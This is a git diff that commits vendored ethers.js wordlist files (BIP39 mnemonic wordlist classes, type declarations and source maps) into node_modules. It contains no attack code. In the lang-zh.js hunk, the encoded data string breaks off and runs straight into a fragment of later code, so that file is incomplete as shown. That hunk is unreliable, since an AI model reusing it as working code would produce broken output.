sourceMappingURL=lang-pt.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/lang-pt.js.map b/node_modules/ethers/lib.esm/wordlists/lang-pt.js.map new file mode 100644 index 000000000000..c77ff409d120 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/lang-pt.js.map @@ -0,0 +1 @@ +{"version":3,"file":"lang-pt.js","sourceRoot":"","sources":["../../src.ts/wordlists/lang-pt.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,WAAW,EAAE,MAAM,mBAAmB,CAAC;AAEhD,MAAM,KAAK,GAAG,s0OAAs0O,CAAC;AACr1O,MAAM,QAAQ,GAAG,oEAAoE,CAAC;AAEtF,IAAI,QAAQ,GAAkB,IAAI,CAAC;AAEnC;;;;GAIG;AACH,MAAM,OAAO,MAAO,SAAQ,WAAW;IAEnC;;;;;;;OAOG;IACH,gBAAgB,KAAK,CAAC,IAAI,EAAE,KAAK,EAAE,QAAQ,CAAC,CAAC,CAAC,CAAC;IAE/C;;;OAGG;IACH,MAAM,CAAC,QAAQ;QACX,IAAI,QAAQ,IAAI,IAAI,EAAE;YAAE,QAAQ,GAAG,IAAI,MAAM,EAAE,CAAC;SAAE;QAClD,OAAO,QAAQ,CAAC;IACpB,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/lang-zh.d.ts b/node_modules/ethers/lib.esm/wordlists/lang-zh.d.ts new file mode 100644 index 000000000000..5d0c14c7ca76 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/lang-zh.d.ts @@ -0,0 +1,32 @@ +import { Wordlist } from "./wordlist.js"; +/** + * The [[link-bip39-zh_cn]] and [[link-bip39-zh_tw]] for + * [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +export declare class LangZh extends Wordlist { + /** + * Creates a new instance of the Chinese language Wordlist for + * the %%dialect%%, either ``"cn"`` or ``"tw"`` for simplified + * or traditional, respectively. + * + * This should be unnecessary most of the time as the exported + * [[langZhCn]] and [[langZhTw]] should suffice. + * + * @_ignore: + */ + constructor(dialect: string); + getWord(index: number): string; + getWordIndex(word: string): number; + split(phrase: string): Array; + /** + * Returns a singleton instance of a ``LangZh`` for %%dialect%%, + * creating it if this is the first time being called. + * + * Use the %%dialect%% ``"cn"`` or ``"tw"`` for simplified or + * traditional, respectively. + */ + static wordlist(dialect: string): LangZh; +} +//# sourceMappingURL=lang-zh.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/lang-zh.d.ts.map b/node_modules/ethers/lib.esm/wordlists/lang-zh.d.ts.map new file mode 100644 index 000000000000..7b96b48e2e3c --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/lang-zh.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"lang-zh.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/lang-zh.ts"],"names":[],"mappings":"AAGA,OAAO,EAAE,QAAQ,EAAE,MAAM,eAAe,CAAC;AA2DzC;;;;;GAKG;AACH,qBAAa,MAAO,SAAQ,QAAQ;IAEhC;;;;;;;;;OASG;gBACS,OAAO,EAAE,MAAM;IAE3B,OAAO,CAAC,KAAK,EAAE,MAAM,GAAG,MAAM;IAO9B,YAAY,CAAC,IAAI,EAAE,MAAM,GAAG,MAAM;IAIlC,KAAK,CAAC,MAAM,EAAE,MAAM,GAAG,KAAK,CAAC,MAAM,CAAC;IAKpC;;;;;;OAMG;IACH,MAAM,CAAC,QAAQ,CAAC,OAAO,EAAE,MAAM,GAAG,MAAM;CAM3C"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/lang-zh.js b/node_modules/ethers/lib.esm/wordlists/lang-zh.js new file mode 100644 index 000000000000..cabbca27205e --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/lang-zh.js @@ -0,0 +1,92 @@ +import { id } from "../hash/index.js"; +import { assertArgument, toUtf8String } from "../utils/index.js"; +import { Wordlist } from "./wordlist.js"; +const data = "}aE#4A=Yv&co#4N#6G=cJ&SM#66|/Z#4t&kn~46#4K~4q%b9=IR#7l,mB#7W_X2*dl}Uo~7s}Uf&Iw#9c&cw~6O&H6&wx&IG%v5=IQ~8a&Pv#47$PR&50%Ko&QM&3l#5f,D9#4L|/H&tQ;v0~6n]nN> 2), + 128 + codes.indexOf(data[i * 3 + 1]), + 128 + codes.indexOf(data[i * 3 + 2]), + ]; + if (locale === "zh_tw") { + const common = s % 4; + for (let i = common; i < 3; i++) { + bytes[i] = codes.indexOf(deltaData[deltaOffset++]) + ((i == 0) ? 228 : 128); + } + } + wordlist.push(toUtf8String(new Uint8Array(bytes))); + } + // Verify the computed list matches the official list + const checksum = id(wordlist.join("\n") + "\n"); + /* c8 ignore start */ + if (checksum !== Checks[locale]) { + throw new Error(`BIP39 Wordlist for ${locale} (Chinese) FAILED`); + } + /* c8 ignore stop */ + _wordlist[locale] = wordlist; + return wordlist; +} +const wordlists = {}; +/** + * The [[link-bip39-zh_cn]] and [[link-bip39-zh_tw]] for + * [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +export class LangZh extends Wordlist { + /** + * Creates a new instance of the Chinese language Wordlist for + * the %%dialect%%, either ``"cn"`` or ``"tw"`` for simplified + * or traditional, respectively. + * + * This should be unnecessary most of the time as the exported + * [[langZhCn]] and [[langZhTw]] should suffice. + * + * @_ignore: + */ + constructor(dialect) { super("zh_" + dialect); } + getWord(index) { + const words = loadWords(this.locale); + assertArgument(index >= 0 && index < words.length, `invalid word index: ${index}`, "index", index); + return words[index]; + } + getWordIndex(word) { + return loadWords(this.locale).indexOf(word); + } + split(phrase) { + phrase = phrase.replace(/(?:\u3000| )+/g, ""); + return phrase.split(""); + } + /** + * Returns a singleton instance of a ``LangZh`` for %%dialect%%, + * creating it if this is the first time being called. + * + * Use the %%dialect%% ``"cn"`` or ``"tw"`` for simplified or + * traditional, respectively. + */ + static wordlist(dialect) { + if (wordlists[dialect] == null) { + wordlists[dialect] = new LangZh(dialect); + } + return wordlists[dialect]; + } +} +//# sourceMappingURL=lang-zh.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/lang-zh.js.map b/node_modules/ethers/lib.esm/wordlists/lang-zh.js.map new file mode 100644 index 000000000000..22ba9a077707 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/lang-zh.js.map @@ -0,0 +1 @@ +{"version":3,"file":"lang-zh.js","sourceRoot":"","sources":["../../src.ts/wordlists/lang-zh.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,EAAE,EAAE,MAAM,kBAAkB,CAAC;AACtC,OAAO,EAAE,cAAc,EAAE,YAAY,EAAE,MAAM,mBAAmB,CAAC;AAEjE,OAAO,EAAE,QAAQ,EAAE,MAAM,eAAe,CAAC;AAGzC,MAAM,IAAI,GAAG,kgMAAkgM,CAAC;AAChhM,MAAM,SAAS,GAAG,6lDAA6lD,CAAC;AAGhnD,MAAM,SAAS,GAAyC;IACpD,KAAK,EAAE,IAAI;IACX,KAAK,EAAE,IAAI;CACd,CAAA;AAED,MAAM,MAAM,GAA2B;IACnC,KAAK,EAAE,oEAAoE;IAC3E,KAAK,EAAE,oEAAoE;CAC9E,CAAA;AAED,MAAM,KAAK,GAAG,kEAAkE,CAAC;AACjF,MAAM,KAAK,GAAG,4BAA4B,CAAA;AAE1C,SAAS,SAAS,CAAC,MAAc;IAC7B,IAAI,SAAS,CAAC,MAAM,CAAC,IAAI,IAAI,EAAE;QAAE,OAAO,SAAS,CAAC,MAAM,CAAkB,CAAC;KAAE;IAE7E,MAAM,QAAQ,GAAkB,EAAE,CAAC;IAEn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B;IAEpB,SAAS,CAAC,MAAM,CAAC,GAAG,QAAQ,CAAC;IAE7B,OAAO,QAAQ,CAAC;AACpB,CAAC;AAED,MAAM,SAAS,GAA2B,EAAG,CAAC;AAE9C;;;;;GAKG;AACH,MAAM,OAAO,MAAO,SAAQ,QAAQ;IAEhC;;;;;;;;;OASG;IACH,YAAY,OAAe,IAAI,KAAK,CAAC,KAAK,GAAG,OAAO,CAAC,CAAC,CAAC,CAAC;IAExD,OAAO,CAAC,KAAa;QACjB,MAAM,KAAK,GAAG,SAAS,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC;QACrC,cAAc,CAAC,KAAK,IAAI,CAAC,IAAI,KAAK,GAAG,KAAK,CAAC,MAAM,EAC7C,uBAAwB,KAAM,EAAE,EAAE,OAAO,EAAE,KAAK,CAAC,CAAC;QACtD,OAAO,KAAK,CAAC,KAAK,CAAC,CAAC;IACxB,CAAC;IAED,YAAY,CAAC,IAAY;QACrB,OAAO,SAAS,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC;IAChD,CAAC;IAED,KAAK,CAAC,MAAc;QAChB,MAAM,GAAG,MAAM,CAAC,OAAO,CAAC,gBAAgB,EAAE,EAAE,CAAC,CAAC;QAC9C,OAAO,MAAM,CAAC,KAAK,CAAC,EAAE,CAAC,CAAC;IAC5B,CAAC;IAED;;;;;;OAMG;IACH,MAAM,CAAC,QAAQ,CAAC,OAAe;QAC3B,IAAI,SAAS,CAAC,OAAO,CAAC,IAAI,IAAI,EAAE;YAC5B,SAAS,CAAC,OAAO,CAAC,GAAG,IAAI,MAAM,CAAC,OAAO,CAAC,CAAC;SAC5C;QACD,OAAO,SAAS,CAAC,OAAO,CAAC,CAAC;IAC9B,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/wordlist-owl.d.ts b/node_modules/ethers/lib.esm/wordlists/wordlist-owl.d.ts new file mode 100644 index 000000000000..c4d1efc05746 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/wordlist-owl.d.ts @@ -0,0 +1,32 @@ +import { Wordlist } from "./wordlist.js"; +/** + * An OWL format Wordlist is an encoding method that exploits + * the general locality of alphabetically sorted words to + * achieve a simple but effective means of compression. + * + * This class is generally not useful to most developers as + * it is used mainly internally to keep Wordlists for languages + * based on ASCII-7 small. + * + * If necessary, there are tools within the ``generation/`` folder + * to create the necessary data. + */ +export declare class WordlistOwl extends Wordlist { + #private; + /** + * Creates a new Wordlist for %%locale%% using the OWL %%data%% + * and validated against the %%checksum%%. + */ + constructor(locale: string, data: string, checksum: string); + /** + * The OWL-encoded data. + */ + get _data(): string; + /** + * Decode all the words for the wordlist. + */ + _decodeWords(): Array; + getWord(index: number): string; + getWordIndex(word: string): number; +} +//# sourceMappingURL=wordlist-owl.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/wordlist-owl.d.ts.map b/node_modules/ethers/lib.esm/wordlists/wordlist-owl.d.ts.map new file mode 100644 index 000000000000..fe49ddf8dafd --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/wordlist-owl.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"wordlist-owl.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/wordlist-owl.ts"],"names":[],"mappings":"AAQA,OAAO,EAAE,QAAQ,EAAE,MAAM,eAAe,CAAC;AAEzC;;;;;;;;;;;GAWG;AACH,qBAAa,WAAY,SAAQ,QAAQ;;IAIrC;;;OAGG;gBACS,MAAM,EAAE,MAAM,EAAE,IAAI,EAAE,MAAM,EAAE,QAAQ,EAAE,MAAM;IAO1D;;OAEG;IACH,IAAI,KAAK,IAAI,MAAM,CAAuB;IAE1C;;OAEG;IACH,YAAY,IAAI,KAAK,CAAC,MAAM,CAAC;IAsB7B,OAAO,CAAC,KAAK,EAAE,MAAM,GAAG,MAAM;IAM9B,YAAY,CAAC,IAAI,EAAE,MAAM,GAAG,MAAM;CAGrC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/wordlist-owl.js b/node_modules/ethers/lib.esm/wordlists/wordlist-owl.js new file mode 100644 index 000000000000..eb3e6be0999a --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/wordlist-owl.js @@ -0,0 +1,66 @@ +// Use the encode-latin.js script to create the necessary +// data files to be consumed by this class +import { id } from "../hash/index.js"; +import { assertArgument } from "../utils/index.js"; +import { decodeOwl } from "./decode-owl.js"; +import { Wordlist } from "./wordlist.js"; +/** + * An OWL format Wordlist is an encoding method that exploits + * the general locality of alphabetically sorted words to + * achieve a simple but effective means of compression. + * + * This class is generally not useful to most developers as + * it is used mainly internally to keep Wordlists for languages + * based on ASCII-7 small. + * + * If necessary, there are tools within the ``generation/`` folder + * to create the necessary data. + */ +export class WordlistOwl extends Wordlist { + #data; + #checksum; + /** + * Creates a new Wordlist for %%locale%% using the OWL %%data%% + * and validated against the %%checksum%%. + */ + constructor(locale, data, checksum) { + super(locale); + this.#data = data; + this.#checksum = checksum; + this.#words = null; + } + /** + * The OWL-encoded data. + */ + get _data() { return this.#data; } + /** + * Decode all the words for the wordlist. + */ + _decodeWords() { + return decodeOwl(this.#data); + } + #words; + #loadWords() { + if (this.#words == null) { + const words = this._decodeWords(); + // Verify the computed list matches the official list + const checksum = id(words.join("\n") + "\n"); + /* c8 ignore start */ + if (checksum !== this.#checksum) { + throw new Error(`BIP39 Wordlist for ${this.locale} FAILED`); + } + /* c8 ignore stop */ + this.#words = words; + } + return this.#words; + } + getWord(index) { + const words = this.#loadWords(); + assertArgument(index >= 0 && index < words.length, `invalid word index: ${index}`, "index", index); + return words[index]; + } + getWordIndex(word) { + return this.#loadWords().indexOf(word); + } +} +//# sourceMappingURL=wordlist-owl.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/wordlist-owl.js.map b/node_modules/ethers/lib.esm/wordlists/wordlist-owl.js.map new file mode 100644 index 000000000000..a7bda021999c --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/w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;YACD,oBAAoB;YAEpB,IAAI,CAAC,MAAM,GAAG,KAAK,CAAC;SACvB;QACD,OAAO,IAAI,CAAC,MAAM,CAAC;IACvB,CAAC;IAED,OAAO,CAAC,KAAa;QACjB,MAAM,KAAK,GAAG,IAAI,CAAC,UAAU,EAAE,CAAC;QAChC,cAAc,CAAC,KAAK,IAAI,CAAC,IAAI,KAAK,GAAG,KAAK,CAAC,MAAM,EAAE,uBAAwB,KAAM,EAAE,EAAE,OAAO,EAAE,KAAK,CAAC,CAAC;QACrG,OAAO,KAAK,CAAC,KAAK,CAAC,CAAC;IACxB,CAAC;IAED,YAAY,CAAC,IAAY;QACrB,OAAO,IAAI,CAAC,UAAU,EAAE,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC;IAC3C,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/wordlist-owla.d.ts b/node_modules/ethers/lib.esm/wordlists/wordlist-owla.d.ts new file mode 100644 index 000000000000..c87022dfc769 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/wordlist-owla.d.ts @@ -0,0 +1,30 @@ +import { WordlistOwl } from "./wordlist-owl.js"; +/** + * An OWL-A format Wordlist extends the OWL format to add an + * overlay onto an OWL format Wordlist to support diacritic + * marks. + * + * This class is generally not useful to most developers as + * it is used mainly internally to keep Wordlists for languages + * based on latin-1 small. + * + * If necessary, there are tools within the ``generation/`` folder + * to create the necessary data. + */ +export declare class WordlistOwlA extends WordlistOwl { + #private; + /** + * Creates a new Wordlist for %%locale%% using the OWLA %%data%% + * and %%accent%% data and validated against the %%checksum%%. + */ + constructor(locale: string, data: string, accent: string, checksum: string); + /** + * The OWLA-encoded accent data. + */ + get _accent(): string; + /** + * Decode all the words for the wordlist. + */ + _decodeWords(): Array; +} +//# sourceMappingURL=wordlist-owla.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/wordlist-owla.d.ts.map b/node_modules/ethers/lib.esm/wordlists/wordlist-owla.d.ts.map new file mode 100644 index 000000000000..97ed583b8e76 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/wordlist-owla.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"wordlist-owla.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/wordlist-owla.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,WAAW,EAAE,MAAM,mBAAmB,CAAC;AAGhD;;;;;;;;;;;GAWG;AACH,qBAAa,YAAa,SAAQ,WAAW;;IAIzC;;;OAGG;gBACS,MAAM,EAAE,MAAM,EAAE,IAAI,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,QAAQ,EAAE,MAAM;IAK1E;;OAEG;IACH,IAAI,OAAO,IAAI,MAAM,CAAyB;IAE9C;;OAEG;IACH,YAAY,IAAI,KAAK,CAAC,MAAM,CAAC;CAGhC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/wordlist-owla.js b/node_modules/ethers/lib.esm/wordlists/wordlist-owla.js new file mode 100644 index 000000000000..9764a6983353 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/wordlist-owla.js @@ -0,0 +1,36 @@ +import { WordlistOwl } from "./wordlist-owl.js"; +import { decodeOwlA } from "./decode-owla.js"; +/** + * An OWL-A format Wordlist extends the OWL format to add an + * overlay onto an OWL format Wordlist to support diacritic + * marks. + * + * This class is generally not useful to most developers as + * it is used mainly internally to keep Wordlists for languages + * based on latin-1 small. + * + * If necessary, there are tools within the ``generation/`` folder + * to create the necessary data. + */ +export class WordlistOwlA extends WordlistOwl { + #accent; + /** + * Creates a new Wordlist for %%locale%% using the OWLA %%data%% + * and %%accent%% data and validated against the %%checksum%%. + */ + constructor(locale, data, accent, checksum) { + super(locale, data, checksum); + this.#accent = accent; + } + /** + * The OWLA-encoded accent data. + */ + get _accent() { return this.#accent; } + /** + * Decode all the words for the wordlist. + */ + _decodeWords() { + return decodeOwlA(this._data, this._accent); + } +} +//# sourceMappingURL=wordlist-owla.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/wordlist-owla.js.map b/node_modules/ethers/lib.esm/wordlists/wordlist-owla.js.map new file mode 100644 index 000000000000..58c7bd67ac29 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/wordlist-owla.js.map @@ -0,0 +1 @@ +{"version":3,"file":"wordlist-owla.js","sourceRoot":"","sources":["../../src.ts/wordlists/wordlist-owla.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,WAAW,EAAE,MAAM,mBAAmB,CAAC;AAChD,OAAO,EAAE,UAAU,EAAE,MAAM,kBAAkB,CAAC;AAE9C;;;;;;;;;;;GAWG;AACH,MAAM,OAAO,YAAa,SAAQ,WAAW;IACzC,OAAO,CAAS;IAGhB;;;OAGG;IACH,YAAY,MAAc,EAAE,IAAY,EAAE,MAAc,EAAE,QAAgB;QACtE,KAAK,CAAC,MAAM,EAAE,IAAI,EAAE,QAAQ,CAAC,CAAC;QAC9B,IAAI,CAAC,OAAO,GAAG,MAAM,CAAC;IAC1B,CAAC;IAED;;OAEG;IACH,IAAI,OAAO,KAAa,OAAO,IAAI,CAAC,OAAO,CAAC,CAAC,CAAC;IAE9C;;OAEG;IACH,YAAY;QACR,OAAO,UAAU,CAAC,IAAI,CAAC,KAAK,EAAE,IAAI,CAAC,OAAO,CAAC,CAAC;IAChD,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/wordlist.d.ts b/node_modules/ethers/lib.esm/wordlists/wordlist.d.ts new file mode 100644 index 000000000000..cb843f3e1575 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/wordlist.d.ts @@ -0,0 +1,47 @@ +/** + * A Wordlist represents a collection of language-specific + * words used to encode and devoce [[link-bip-39]] encoded data + * by mapping words to 11-bit values and vice versa. + */ +export declare abstract class Wordlist { + locale: string; + /** + * Creates a new Wordlist instance. + * + * Sub-classes MUST call this if they provide their own constructor, + * passing in the locale string of the language. + * + * Generally there is no need to create instances of a Wordlist, + * since each language-specific Wordlist creates an instance and + * there is no state kept internally, so they are safe to share. + */ + constructor(locale: string); + /** + * Sub-classes may override this to provide a language-specific + * method for spliting %%phrase%% into individual words. + * + * By default, %%phrase%% is split using any sequences of + * white-space as defined by regular expressions (i.e. ``/\s+/``). + */ + split(phrase: string): Array; + /** + * Sub-classes may override this to provider a language-specific + * method for joining %%words%% into a phrase. + * + * By default, %%words%% are joined by a single space. + */ + join(words: Array): string; + /** + * Maps an 11-bit value into its coresponding word in the list. + * + * Sub-classes MUST override this. + */ + abstract getWord(index: number): string; + /** + * Maps a word to its corresponding 11-bit value. + * + * Sub-classes MUST override this. + */ + abstract getWordIndex(word: string): number; +} +//# sourceMappingURL=wordlist.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/wordlist.d.ts.map b/node_modules/ethers/lib.esm/wordlists/wordlist.d.ts.map new file mode 100644 index 000000000000..6ba6025d598f --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/wordlist.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"wordlist.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/wordlist.ts"],"names":[],"mappings":"AAEA;;;;GAIG;AACH,8BAAsB,QAAQ;IAC1B,MAAM,EAAG,MAAM,CAAC;IAEhB;;;;;;;;;OASG;gBACS,MAAM,EAAE,MAAM;IAI1B;;;;;;OAMG;IACH,KAAK,CAAC,MAAM,EAAE,MAAM,GAAG,KAAK,CAAC,MAAM,CAAC;IAIpC;;;;;OAKG;IACH,IAAI,CAAC,KAAK,EAAE,KAAK,CAAC,MAAM,CAAC,GAAG,MAAM;IAIlC;;;;OAIG;IACH,QAAQ,CAAC,OAAO,CAAC,KAAK,EAAE,MAAM,GAAG,MAAM;IAEvC;;;;OAIG;IACH,QAAQ,CAAC,YAAY,CAAC,IAAI,EAAE,MAAM,GAAG,MAAM;CAC9C"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/wordlist.js b/node_modules/ethers/lib.esm/wordlists/wordlist.js new file mode 100644 index 000000000000..6327a49dfb9f --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/wordlist.js @@ -0,0 +1,42 @@ +import { defineProperties } from "../utils/index.js"; +/** + * A Wordlist represents a collection of language-specific + * words used to encode and devoce [[link-bip-39]] encoded data + * by mapping words to 11-bit values and vice versa. + */ +export class Wordlist { + locale; + /** + * Creates a new Wordlist instance. + * + * Sub-classes MUST call this if they provide their own constructor, + * passing in the locale string of the language. + * + * Generally there is no need to create instances of a Wordlist, + * since each language-specific Wordlist creates an instance and + * there is no state kept internally, so they are safe to share. + */ + constructor(locale) { + defineProperties(this, { locale }); + } + /** + * Sub-classes may override this to provide a language-specific + * method for spliting %%phrase%% into individual words. + * + * By default, %%phrase%% is split using any sequences of + * white-space as defined by regular expressions (i.e. ``/\s+/``). + */ + split(phrase) { + return phrase.toLowerCase().split(/\s+/g); + } + /** + * Sub-classes may override this to provider a language-specific + * method for joining %%words%% into a phrase. + * + * By default, %%words%% are joined by a single space. + */ + join(words) { + return words.join(" "); + } +} +//# sourceMappingURL=wordlist.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/wordlist.js.map b/node_modules/ethers/lib.esm/wordlists/wordlist.js.map new file mode 100644 index 000000000000..9ee157a93706 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/wordlist.js.map @@ -0,0 +1 @@ +{"version":3,"file":"wordlist.js","sourceRoot":"","sources":["../../src.ts/wordlists/wordlist.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,gBAAgB,EAAE,MAAM,mBAAmB,CAAC;AAErD;;;;GAIG;AACH,MAAM,OAAgB,QAAQ;IAC1B,MAAM,CAAU;IAEhB;;;;;;;;;OASG;IACH,YAAY,MAAc;QACtB,gBAAgB,CAAW,IAAI,EAAE,EAAE,MAAM,EAAE,CAAC,CAAC;IACjD,CAAC;IAED;;;;;;OAMG;IACH,KAAK,CAAC,MAAc;QAChB,OAAO,MAAM,CAAC,WAAW,EAAE,CAAC,KAAK,CAAC,MAAM,CAAC,CAAA;IAC7C,CAAC;IAED;;;;;OAKG;IACH,IAAI,CAAC,KAAoB;QACrB,OAAO,KAAK,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;IAC3B,CAAC;CAeJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/wordlists-browser.d.ts b/node_modules/ethers/lib.esm/wordlists/wordlists-browser.d.ts new file mode 100644 index 000000000000..d0dbd19c9277 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/wordlists-browser.d.ts @@ -0,0 +1,3 @@ +import type { Wordlist } from "./wordlist.js"; +export declare const wordlists: Record; +//# sourceMappingURL=wordlists-browser.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/wordlists-browser.d.ts.map b/node_modules/ethers/lib.esm/wordlists/wordlists-browser.d.ts.map new file mode 100644 index 000000000000..cebd601ebd18 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/wordlists-browser.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"wordlists-browser.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/wordlists-browser.ts"],"names":[],"mappings":"AAGA,OAAO,KAAK,EAAE,QAAQ,EAAE,MAAM,eAAe,CAAC;AAE9C,eAAO,MAAM,SAAS,EAAE,MAAM,CAAC,MAAM,EAAE,QAAQ,CAE9C,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/wordlists-browser.js b/node_modules/ethers/lib.esm/wordlists/wordlists-browser.js new file mode 100644 index 000000000000..9129fa29b0e8 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/wordlists-browser.js @@ -0,0 +1,5 @@ +import { LangEn } from "./lang-en.js"; +export const wordlists = { + en: LangEn.wordlist(), +}; +//# sourceMappingURL=wordlists-browser.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/wordlists-browser.js.map b/node_modules/ethers/lib.esm/wordlists/wordlists-browser.js.map new file mode 100644 index 000000000000..c9491931ebb3 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/wordlists-browser.js.map @@ -0,0 +1 @@ +{"version":3,"file":"wordlists-browser.js","sourceRoot":"","sources":["../../src.ts/wordlists/wordlists-browser.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AAItC,MAAM,CAAC,MAAM,SAAS,GAA6B;IACjD,EAAE,EAAE,MAAM,CAAC,QAAQ,EAAE;CACtB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/wordlists-extra.d.ts b/node_modules/ethers/lib.esm/wordlists/wordlists-extra.d.ts new file mode 100644 index 000000000000..7e15a233fca4 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/wordlists-extra.d.ts @@ -0,0 +1,9 @@ +export { LangCz } from "./lang-cz.js"; +export { LangEs } from "./lang-es.js"; +export { LangFr } from "./lang-fr.js"; +export { LangJa } from "./lang-ja.js"; +export { LangKo } from "./lang-ko.js"; +export { LangIt } from "./lang-it.js"; +export { LangPt } from "./lang-pt.js"; +export { LangZh } from "./lang-zh.js"; +//# sourceMappingURL=wordlists-extra.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/wordlists-extra.d.ts.map b/node_modules/ethers/lib.esm/wordlists/wordlists-extra.d.ts.map new file mode 100644 index 000000000000..6003081c6921 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/wordlists-extra.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"wordlists-extra.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/wordlists-extra.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AACtC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/wordlists-extra.js b/node_modules/ethers/lib.esm/wordlists/wordlists-extra.js new file mode 100644 index 000000000000..47e509eb0ff0 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/wordlists-extra.js @@ -0,0 +1,9 @@ +export { LangCz } from "./lang-cz.js"; +export { LangEs } from "./lang-es.js"; +export { LangFr } from "./lang-fr.js"; +export { LangJa } from "./lang-ja.js"; +export { LangKo } from "./lang-ko.js"; +export { LangIt } from "./lang-it.js"; +export { LangPt } from "./lang-pt.js"; +export { LangZh } from "./lang-zh.js"; +//# sourceMappingURL=wordlists-extra.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/wordlists-extra.js.map b/node_modules/ethers/lib.esm/wordlists/wordlists-extra.js.map new file mode 100644 index 000000000000..9d9e4e526f20 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/wordlists-extra.js.map @@ -0,0 +1 @@ 